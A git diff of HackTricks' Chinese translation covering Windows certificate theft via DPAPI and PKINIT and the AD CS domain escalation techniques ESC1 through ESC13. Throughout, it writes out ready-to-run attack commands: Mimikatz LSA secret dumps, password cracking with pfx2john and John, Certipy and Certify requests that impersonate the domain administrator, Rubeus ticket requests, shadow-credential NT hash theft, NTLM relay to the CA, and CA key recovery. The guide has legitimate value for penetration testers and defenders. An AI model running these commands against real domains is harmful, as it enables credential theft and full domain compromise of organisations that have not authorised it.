+在 Windows 中，**证书私钥由 DPAPI 保护**。重要的是要认识到 **用户和机器私钥的存储位置**是不同的，文件结构根据操作系统使用的加密 API 而有所不同。**SharpDPAPI** 是一个可以在解密 DPAPI blobs 时自动导航这些差异的工具。
 
-**用户证书**主要存放在注册表下的 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`，但有些也可以在目录 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` 中找到。这些证书的相应 **私钥** 通常存储在 `%APPDATA%\Microsoft\Crypto\RSA\User SID\` 中用于 **CAPI** 密钥，而用于 **CNG** 密钥则存储在 `%APPDATA%\Microsoft\Crypto\Keys\` 中。
+**用户证书**主要存放在注册表下的 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`，但有些也可以在目录 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` 中找到。这些证书的相应 **私钥** 通常存储在 `%APPDATA%\Microsoft\Crypto\RSA\User SID\` 中用于 **CAPI** 密钥，而在 `%APPDATA%\Microsoft\Crypto\Keys\` 中用于 **CNG** 密钥。
 
 要 **提取证书及其相关私钥**，过程包括：
 
@@ -60,17 +60,17 @@ SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
 # Converting .pem to .pfx
 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 ```
-## 机器证书盗窃通过 DPAPI – THEFT3
+## 通过 DPAPI 进行机器证书盗窃 – THEFT3
 
 Windows 在注册表中存储的机器证书位于 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates`，相关的私钥位于 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`（用于 CAPI）和 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`（用于 CNG），这些证书使用机器的 DPAPI 主密钥进行加密。这些密钥无法使用域的 DPAPI 备份密钥解密；相反，需要 **DPAPI_SYSTEM LSA 密钥**，只有 SYSTEM 用户可以访问。
 
 手动解密可以通过在 **Mimikatz** 中执行 `lsadump::secrets` 命令来提取 DPAPI_SYSTEM LSA 密钥，然后使用该密钥解密机器主密钥。或者，在修补 CAPI/CNG 后，可以使用 Mimikatz 的 `crypto::certificates /export /systemstore:LOCAL_MACHINE` 命令。
 
-**SharpDPAPI** 提供了一种更自动化的方法，通过其证书命令。当使用 `/machine` 标志并具有提升的权限时，它会提升到 SYSTEM，转储 DPAPI_SYSTEM LSA 密钥，使用它解密机器 DPAPI 主密钥，然后将这些明文密钥用作查找表以解密任何机器证书私钥。
+**SharpDPAPI** 提供了一种更自动化的方法，通过其证书命令。当使用 `/machine` 标志并具有提升的权限时，它会提升到 SYSTEM，转储 DPAPI_SYSTEM LSA 密钥，使用该密钥解密机器 DPAPI 主密钥，然后将这些明文密钥用作查找表以解密任何机器证书私钥。
 
 ## 查找证书文件 – THEFT4
 
-证书有时直接在文件系统中找到，例如在文件共享或下载文件夹中。针对 Windows 环境的最常见证书文件类型是 `.pfx` 和 `.p12` 文件。虽然不太常见，但扩展名为 `.pkcs12` 和 `.pem` 的文件也会出现。其他值得注意的与证书相关的文件扩展名包括：
+证书有时直接在文件系统中找到，例如在文件共享或下载文件夹中。针对 Windows 环境最常见的证书文件类型是 `.pfx` 和 `.p12` 文件。虽然不太频繁，但扩展名为 `.pkcs12` 和 `.pem` 的文件也会出现。其他值得注意的与证书相关的文件扩展名包括：
 
 - `.key` 用于私钥，
 - `.crt`/`.cer` 仅用于证书，
@@ -79,7 +79,7 @@ Windows 在注册表中存储的机器证书位于 `HKEY_LOCAL_MACHINE\SOFTWARE\
 
 可以使用 PowerShell 或命令提示符通过查找上述扩展名来搜索这些文件。
 
-在找到受密码保护的 PKCS#12 证书文件的情况下，可以通过使用 `pfx2john.py` 提取哈希，该工具可在 [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) 获取。随后，可以使用 JohnTheRipper 尝试破解密码。
+如果找到一个受密码保护的 PKCS#12 证书文件，可以通过使用 `pfx2john.py` 提取哈希，该工具可在 [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) 获取。随后，可以使用 JohnTheRipper 尝试破解密码。
 ```powershell
 # Example command to search for certificate files in PowerShell
 Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
@@ -92,16 +92,16 @@ john --wordlist=passwords.txt hash.txt
 ```
 ## NTLM 凭证盗窃通过 PKINIT – THEFT5
 
-给定内容解释了一种通过 PKINIT 进行 NTLM 凭证盗窃的方法，特别是通过标记为 THEFT5 的盗窃方法。以下是被动语态的重新解释，内容在适用时进行了匿名化和总结：
+给定内容解释了一种通过 PKINIT 进行 NTLM 凭证盗窃的方法，特别是通过标记为 THEFT5 的盗窃方法。以下是被动语态的重新解释，内容已匿名化并在适用时进行了总结：
 
-为了支持不便于 Kerberos 认证的应用程序的 NTLM 认证 [MS-NLMP]，KDC 被设计为在使用 PKCA 时返回用户的 NTLM 单向函数 (OWF)，具体在 `PAC_CREDENTIAL_INFO` 缓冲区中。因此，如果一个账户通过 PKINIT 进行身份验证并获取票据授权票 (TGT)，则固有地提供了一种机制，使当前主机能够从 TGT 中提取 NTLM 哈希，以维持遗留认证协议。此过程涉及对 `PAC_CREDENTIAL_DATA` 结构的解密，该结构本质上是 NTLM 明文的 NDR 序列化表示。
+为了支持不便于 Kerberos 认证的应用程序的 NTLM 认证 [MS-NLMP]，KDC 被设计为在使用 PKCA 时返回用户的 NTLM 单向函数 (OWF)，具体在 `PAC_CREDENTIAL_INFO` 缓冲区中。因此，如果一个账户通过 PKINIT 进行身份验证并获取票据授权票 (TGT)，则本质上提供了一种机制，使当前主机能够从 TGT 中提取 NTLM 哈希，以支持遗留认证协议。此过程涉及对 `PAC_CREDENTIAL_DATA` 结构的解密，该结构本质上是 NTLM 明文的 NDR 序列化表示。
 
-提到的工具 **Kekeo**，可在 [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) 获取，能够请求包含此特定数据的 TGT，从而便于检索用户的 NTLM。用于此目的的命令如下：
+实用工具 **Kekeo**，可在 [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) 获取，被提及为能够请求包含此特定数据的 TGT，从而便于检索用户的 NTLM。用于此目的的命令如下：
 ```bash
 tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
 ```
 此外，值得注意的是，Kekeo 可以处理智能卡保护的证书，只要可以检索到 PIN，参考 [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)。同样的功能也被 **Rubeus** 支持，地址为 [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)。
 
-此解释概述了通过 PKINIT 进行 NTLM 凭据盗窃的过程和工具，重点是通过使用 PKINIT 获得的 TGT 检索 NTLM 哈希，以及促进此过程的实用程序。
+此解释概括了通过 PKINIT 进行 NTLM 凭据盗窃的过程和工具，重点是通过使用 PKINIT 获得的 TGT 检索 NTLM 哈希，以及促进此过程的实用程序。
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
index 0b00fa238..80dbe583c 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
@@ -8,29 +8,29 @@
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
 
-## 配置错误的证书模板 - ESC1
+## Misconfigured Certificate Templates - ESC1
 
-### 解释
+### Explanation
 
-### 配置错误的证书模板 - ESC1 解释
+### Misconfigured Certificate Templates - ESC1 Explained
 
-- **企业 CA 授予低权限用户注册权。**
+- **企业CA授予低权限用户注册权。**
 - **不需要经理批准。**
 - **不需要授权人员的签名。**
 - **证书模板上的安全描述符过于宽松，允许低权限用户获得注册权。**
-- **证书模板被配置为定义促进身份验证的 EKU：**
-- 包含客户端身份验证 (OID 1.3.6.1.5.5.7.3.2)、PKINIT 客户端身份验证 (1.3.6.1.5.2.3.4)、智能卡登录 (OID 1.3.6.1.4.1.311.20.2.2)、任何目的 (OID 2.5.29.37.0) 或无 EKU (SubCA) 的扩展密钥使用 (EKU) 标识符。
-- **模板允许请求者在证书签名请求 (CSR) 中包含 subjectAltName：**
-- 如果存在，Active Directory (AD) 在证书中优先考虑 subjectAltName (SAN) 进行身份验证。这意味着通过在 CSR 中指定 SAN，可以请求证书以冒充任何用户（例如，域管理员）。请求者是否可以指定 SAN 在证书模板的 AD 对象中通过 `mspki-certificate-name-flag` 属性指示。该属性是一个位掩码，`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志的存在允许请求者指定 SAN。
+- **证书模板被配置为定义促进身份验证的EKU：**
+- 包含客户端身份验证（OID 1.3.6.1.5.5.7.3.2）、PKINIT客户端身份验证（1.3.6.1.5.2.3.4）、智能卡登录（OID 1.3.6.1.4.1.311.20.2.2）、任何目的（OID 2.5.29.37.0）或无EKU（SubCA）等扩展密钥使用（EKU）标识符。
+- **模板允许请求者在证书签名请求（CSR）中包含subjectAltName：**
+- 如果存在，Active Directory（AD）在证书中优先考虑subjectAltName（SAN）进行身份验证。这意味着通过在CSR中指定SAN，可以请求证书以冒充任何用户（例如，域管理员）。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。该属性是一个位掩码，存在`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志允许请求者指定SAN。
 
 > [!CAUTION]
-> 上述配置允许低权限用户请求带有任何选择的 SAN 的证书，从而通过 Kerberos 或 SChannel 作为任何域主体进行身份验证。
+> 上述配置允许低权限用户请求具有任何选择的SAN的证书，从而通过Kerberos或SChannel以任何域主体的身份进行身份验证。
 
-此功能有时被启用以支持产品或部署服务的 HTTPS 或主机证书的即时生成，或由于缺乏理解。
+此功能有时被启用以支持产品或部署服务的HTTPS或主机证书的即时生成，或由于缺乏理解。
 
-需要注意的是，使用此选项创建证书会触发警告，而当复制现有证书模板（例如，启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 的 `WebServer` 模板）并修改以包含身份验证 OID 时则不会。
+需要注意的是，使用此选项创建证书会触发警告，而当复制现有证书模板（例如，启用了`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`的`WebServer`模板）并修改以包含身份验证OID时则不会。
 
-### 滥用
+### Abuse
 
 要**查找易受攻击的证书模板**，您可以运行：
 ```bash
@@ -42,7 +42,7 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
 ```
-然后您可以将生成的 **证书转换为 `.pfx`** 格式，并再次使用 **Rubeus 或 certipy** 进行 **身份验证**：
+然后您可以将生成的 **证书转换为 `.pfx`** 格式，并再次使用 **Rubeus 或 certipy** 进行身份验证：
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
@@ -67,11 +67,11 @@ Windows二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX: htt
 
 **任何目的 EKU** 允许攻击者以 **任何目的** 获取证书，包括客户端身份验证、服务器身份验证、代码签名等。可以使用与 **ESC3** 相同的 **技术** 来利用此场景。
 
-具有 **无 EKU** 的证书，作为下级 CA 证书，可以被利用于 **任何目的**，并且 **也可以用于签署新证书**。因此，攻击者可以通过利用下级 CA 证书指定任意 EKU 或字段在新证书中。
+具有 **无 EKU** 的证书，作为下级 CA 证书，可以被用于 **任何目的**，并且 **也可以用于签署新证书**。因此，攻击者可以通过利用下级 CA 证书指定任意 EKU 或字段在新证书中。
 
 然而，如果下级 CA 未被 **`NTAuthCertificates`** 对象信任，则为 **域身份验证** 创建的新证书将无法正常工作，这是默认设置。尽管如此，攻击者仍然可以创建 **具有任何 EKU** 和任意证书值的新证书。这些证书可能会被 **滥用** 用于广泛的目的（例如，代码签名、服务器身份验证等），并可能对网络中其他应用程序（如 SAML、AD FS 或 IPSec）产生重大影响。
 
-要枚举与此场景匹配的模板，可以运行以下 LDAP 查询：
+要枚举与此场景匹配的模板，可以在 AD Forest 的配置架构中运行以下 LDAP 查询：
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
@@ -79,9 +79,9 @@ Windows二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX: htt
 
 ### 解释
 
-这个场景与第一个和第二个场景类似，但**利用**了**不同的 EKU**（证书请求代理）和**两个不同的模板**（因此有两组要求），
+这个场景与第一个和第二个场景类似，但**滥用**了**不同的 EKU**（证书请求代理）和**两个不同的模板**（因此有两组要求），
 
-**证书请求代理 EKU**（OID 1.3.6.1.4.1.311.20.2.1），在 Microsoft 文档中称为**注册代理**，允许一个主体**代表另一个用户**进行**证书注册**。
+**证书请求代理 EKU**（OID 1.3.6.1.4.1.311.20.2.1），在微软文档中称为**注册代理**，允许一个主体**代表另一个用户**进行**证书注册**。
 
 **“注册代理”**在这样的**模板**中注册，并使用生成的**证书代表其他用户共同签署 CSR**。然后，它将**共同签署的 CSR**发送给 CA，注册一个**允许“代表注册”的模板**，CA 随后返回一个**属于“其他”用户的证书**。
 
@@ -117,11 +117,11 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-允许**获取**注册代理证书的**用户**、注册**代理**被允许注册的模板以及注册代理可以代表其行动的**帐户**可以通过企业CA进行限制。这是通过打开`certsrc.msc` **管理单元**，**右键单击CA**，**单击属性**，然后**导航**到“注册代理”选项卡来实现的。
+允许**获取**注册代理证书的**用户**、注册**代理**被允许注册的模板，以及注册代理可以代表其行动的**账户**可以通过企业CA进行限制。这是通过打开`certsrc.msc` **管理单元**，**右键单击CA**，**点击属性**，然后**导航**到“注册代理”选项卡来实现的。
 
-然而，值得注意的是，CA的**默认**设置是“**不限制注册代理**。”当管理员启用对注册代理的限制，将其设置为“限制注册代理”时，默认配置仍然非常宽松。它允许**所有人**以任何身份访问所有模板进行注册。
+然而，值得注意的是，CA的**默认**设置是“**不限制注册代理**。”当管理员启用对注册代理的限制时，将其设置为“限制注册代理”，默认配置仍然非常宽松。它允许**所有人**以任何身份访问所有模板进行注册。
 
-## 易受攻击的证书模板访问控制 - ESC4
+## 脆弱的证书模板访问控制 - ESC4
 
 ### **解释**
 
@@ -145,7 +145,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
 
 ESC4是指用户对证书模板具有写权限。这可以被滥用，例如覆盖证书模板的配置，使模板易受ESC1攻击。
 
-正如我们在上面的路径中看到的，只有`JOHNPC`拥有这些权限，但我们的用户`JOHN`对`JOHNPC`有新的`AddKeyCredentialLink`边缘。由于此技术与证书相关，我也实施了此攻击，称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。以下是Certipy的`shadow auto`命令的简要预览，用于检索受害者的NT哈希。
+正如我们在上面的路径中看到的，只有`JOHNPC`拥有这些权限，但我们的用户`JOHN`对`JOHNPC`有新的`AddKeyCredentialLink`边缘。由于此技术与证书相关，我也实施了这种攻击，称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这是Certipy的`shadow auto`命令的一个小预览，用于检索受害者的NT哈希。
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
@@ -168,7 +168,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
 
 - CA服务器的AD计算机对象，可能通过S4U2Self或S4U2Proxy等机制被攻陷。
 - CA服务器的RPC/DCOM服务器。
-- 在特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于容器和对象，如证书模板容器、认证机构容器、NTAuthCertificates对象和注册服务容器。
+- 在特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、认证机构容器、NTAuthCertificates对象和注册服务容器等容器和对象。
 
 如果低权限攻击者设法控制这些关键组件中的任何一个，PKI系统的安全性可能会受到威胁。
 
@@ -178,7 +178,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
 
 在[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的影响，如微软所述。当在证书颁发机构（CA）上激活此配置时，允许在**任何请求**的**主题备用名称**中包含**用户定义的值**，包括那些由Active Directory®构建的请求。因此，这一条款允许**入侵者**通过为域**身份验证**设置的**任何模板**进行注册——特别是那些对**无特权**用户注册开放的模板，如标准用户模板。结果，可以获得证书，使入侵者能够以域管理员或**域内任何其他活动实体**的身份进行身份验证。
 
-**Note**: 通过`certreq.exe`中的`-attrib "SAN:"`参数将**备用名称**附加到证书签名请求（CSR）的方法（称为“名称值对”）与ESC1中SAN的利用策略存在**对比**。这里的区别在于**账户信息的封装方式**——在证书属性中，而不是扩展中。
+**注意**：通过`certreq.exe`中的`-attrib "SAN:"`参数将**备用名称**附加到证书签名请求（CSR）的方法（称为“名称值对”）与ESC1中SAN的利用策略存在**对比**。这里的区别在于**账户信息的封装方式**——在证书属性中，而不是扩展中。
 
 ### Abuse
 
@@ -208,8 +208,8 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> 在2022年5月的安全更新之后，新颁发的**证书**将包含一个**安全扩展**，该扩展包含**请求者的`objectSid`属性**。对于ESC1，此SID源自指定的SAN。然而，对于**ESC6**，SID反映**请求者的`objectSid`**，而不是SAN。\
-> 要利用ESC6，系统必须易受ESC10（弱证书映射）的影响，该映射优先考虑**SAN而不是新的安全扩展**。
+> 在2022年5月的安全更新之后，新颁发的**证书**将包含一个**安全扩展**，该扩展包含**请求者的 `objectSid` 属性**。对于ESC1，此SID源自指定的SAN。然而，对于**ESC6**，SID反映的是**请求者的 `objectSid`**，而不是SAN。\
+> 要利用ESC6，系统必须易受ESC10（弱证书映射）的影响，该漏洞优先考虑**SAN而不是新的安全扩展**。
 
 ## 易受攻击的证书颁发机构访问控制 - ESC7
 
@@ -221,7 +221,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
-这提供了对主要权限的洞察，即 **`ManageCA`** 和 **`ManageCertificates`**，分别与“CA管理员”和“证书管理器”的角色相关。
+这提供了主要权限的见解，即 **`ManageCA`** 和 **`ManageCertificates`**，分别与“CA管理员”和“证书管理器”的角色相关。
 
 #### 滥用
 
@@ -266,7 +266,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 
 #### 滥用
 
-您可以通过将您的用户添加为新官员来**授予自己 `Manage Certificates`** 访问权限。
+您可以通过将自己添加为新官员来**授予自己 `Manage Certificates`** 访问权限。
 ```bash
 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-通过我们的 **`Manage CA` 和 `Manage Certificates`**，我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数 **发布失败的证书** 请求。
+通过我们的 **`Manage CA` 和 `Manage Certificates`**，我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数 **签发失败的证书** 请求。
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -327,18 +327,18 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 AD CS支持几种**基于HTTP的注册方法**，这些方法通过管理员可以安装的额外服务器角色提供。这些用于基于HTTP的证书注册的接口易受**NTLM中继攻击**的影响。攻击者可以从**被攻陷的机器上，冒充任何通过入站NTLM进行身份验证的AD账户**。在冒充受害者账户的同时，攻击者可以访问这些Web接口，以**使用`User`或`Machine`证书模板请求客户端身份验证证书**。
 
-- **Web注册接口**（一个可在`http://<caserver>/certsrv/`访问的旧ASP应用程序）默认仅支持HTTP，这并不提供对NTLM中继攻击的保护。此外，它明确仅通过其Authorization HTTP头允许NTLM身份验证，使得更安全的身份验证方法如Kerberos不适用。
-- **证书注册服务**（CES）、**证书注册策略**（CEP）Web服务和**网络设备注册服务**（NDES）默认通过其Authorization HTTP头支持协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**，允许攻击者在中继攻击期间**降级为NTLM**身份验证。尽管这些Web服务默认启用HTTPS，但仅靠HTTPS**并不能保护免受NTLM中继攻击**。HTTPS服务的NTLM中继攻击保护只有在HTTPS与通道绑定结合使用时才能实现。遗憾的是，AD CS并未在IIS上启用身份验证的扩展保护，这是通道绑定所需的。
+- **Web注册接口**（一个可在`http://<caserver>/certsrv/`访问的旧ASP应用程序）默认仅支持HTTP，这并不提供对NTLM中继攻击的保护。此外，它明确仅允许通过其Authorization HTTP头进行NTLM身份验证，使得更安全的身份验证方法如Kerberos不适用。
+- **证书注册服务**（CES）、**证书注册策略**（CEP）Web服务和**网络设备注册服务**（NDES）默认通过其Authorization HTTP头支持协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**，允许攻击者在中继攻击期间**降级为NTLM**身份验证。尽管这些Web服务默认启用HTTPS，但仅靠HTTPS**并不能保护免受NTLM中继攻击**。HTTPS服务的NTLM中继攻击保护只有在HTTPS与通道绑定结合时才能实现。遗憾的是，AD CS并未在IIS上启用身份验证的扩展保护，而这对于通道绑定是必需的。
 
 NTLM中继攻击的一个常见**问题**是**NTLM会话的短暂持续时间**以及攻击者无法与**需要NTLM签名**的服务进行交互。
 
-然而，通过利用NTLM中继攻击获取用户证书，可以克服这一限制，因为证书的有效期决定了会话的持续时间，并且该证书可以与**要求NTLM签名**的服务一起使用。有关如何使用被盗证书的说明，请参见：
+然而，这一限制可以通过利用NTLM中继攻击来获取用户的证书来克服，因为证书的有效期决定了会话的持续时间，并且该证书可以与**要求NTLM签名**的服务一起使用。有关如何使用被盗证书的说明，请参见：
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-NTLM中继攻击的另一个限制是**攻击者控制的机器必须由受害者账户进行身份验证**。攻击者可以选择等待或尝试**强制**进行此身份验证：
+NTLM中继攻击的另一个限制是**攻击者控制的机器必须被受害者账户进行身份验证**。攻击者可以选择等待或尝试**强制**进行此身份验证：
 
 {{#ref}}
 ../printers-spooler-service-abuse.md
@@ -352,7 +352,7 @@ Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-`msPKI-Enrollment-Servers` 属性由企业证书授权机构 (CAs) 用于存储证书注册服务 (CES) 端点。可以通过使用工具 **Certutil.exe** 解析和列出这些端点：
+`msPKI-Enrollment-Servers` 属性由企业证书授权机构 (CAs) 用于存储证书注册服务 (CES) 端点。可以通过利用工具 **Certutil.exe** 解析和列出这些端点：
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -399,7 +399,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 ### 解释
 
-新的值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 对于 **`msPKI-Enrollment-Flag`**，称为 ESC9，防止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1`（默认设置）时，该标志变得相关，这与设置为 `2` 的情况形成对比。在可能被利用的较弱证书映射（如 ESC10）场景中，其相关性更高，因为缺少 ESC9 不会改变要求。
+新的值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 对于 **`msPKI-Enrollment-Flag`**，称为 ESC9，防止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1`（默认设置）时，该标志变得相关，这与设置为 `2` 相对。在可能被利用的情况下，例如 Kerberos 或 Schannel 的较弱证书映射（如 ESC10），其相关性更高，因为缺少 ESC9 不会改变要求。
 
 该标志设置变得重要的条件包括：
 
@@ -455,7 +455,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 
 ### 滥用案例 1
 
-当 `StrongCertificateBindingEnforcement` 配置为 `0` 时，具有 `GenericWrite` 权限的账户 A 可以被利用来妥协任何账户 B。
+在 `StrongCertificateBindingEnforcement` 配置为 `0` 的情况下，具有 `GenericWrite` 权限的账户 A 可以被利用来妥协任何账户 B。
 
 例如，拥有对 `Jane@corp.local` 的 `GenericWrite` 权限，攻击者旨在妥协 `Administrator@corp.local`。该过程与 ESC9 相似，允许使用任何证书模板。
 
@@ -503,7 +503,7 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-通过LDAP shell，命令如`set_rbcd`使资源基础约束委派（RBCD）攻击成为可能，从而可能危及域控制器。
+通过LDAP shell，命令如`set_rbcd`使资源基于约束的委派（RBCD）攻击成为可能，从而可能危及域控制器。
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
@@ -561,7 +561,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
 ```
 ## Shell access to ADCS CA with YubiHSM - ESC12
 
-### Explanation
+### 解释
 
 管理员可以设置证书颁发机构，将其存储在外部设备上，如“Yubico YubiHSM2”。
 
@@ -571,11 +571,11 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
 
 参考[这里](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)。
 
-### Abuse Scenario
+### 滥用场景
 
-如果CA的私钥存储在物理USB设备上，当您获得shell访问权限时，可以恢复该密钥。
+如果CA的私钥存储在物理USB设备上，当你获得shell访问时，可以恢复该密钥。
 
-首先，您需要获取CA证书（这是公开的），然后：
+首先，你需要获取CA证书（这是公开的），然后：
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -589,9 +589,9 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
 
 ### 解释
 
-`msPKI-Certificate-Policy` 属性允许将发行政策添加到证书模板中。负责发行政策的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的配置命名上下文 (CN=OID,CN=Public Key Services,CN=Services) 中发现。可以使用该对象的 `msDS-OIDToGroupLink` 属性将政策链接到 AD 组，从而使系统能够授权一个用户在呈现证书时仿佛他是该组的成员。[参考链接](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
+`msPKI-Certificate-Policy` 属性允许将发行政策添加到证书模板中。负责发行政策的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的配置命名上下文 (CN=OID,CN=Public Key Services,CN=Services) 中发现。可以使用该对象的 `msDS-OIDToGroupLink` 属性将政策链接到 AD 组，从而使系统能够授权呈现证书的用户，仿佛他是该组的成员。[参考在这里](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
 
-换句话说，当用户有权注册证书且该证书链接到 OID 组时，用户可以继承该组的权限。
+换句话说，当用户有权注册证书且证书链接到 OID 组时，用户可以继承该组的权限。
 
 使用 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) 查找 OIDToGroupLink：
 ```powershell
@@ -629,11 +629,11 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
 
 ### 被妥协的CA破坏森林信任
 
-**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**，资源森林的**企业CA**证书被**添加到每个账户森林中的`NTAuthCertificates`和AIA容器**。为了澄清，这种安排授予资源森林中的**CA对其管理的所有其他森林的完全控制**。如果该CA被**攻击者妥协**，则资源森林和账户森林中所有用户的证书都可能被**伪造**，从而打破森林的安全边界。
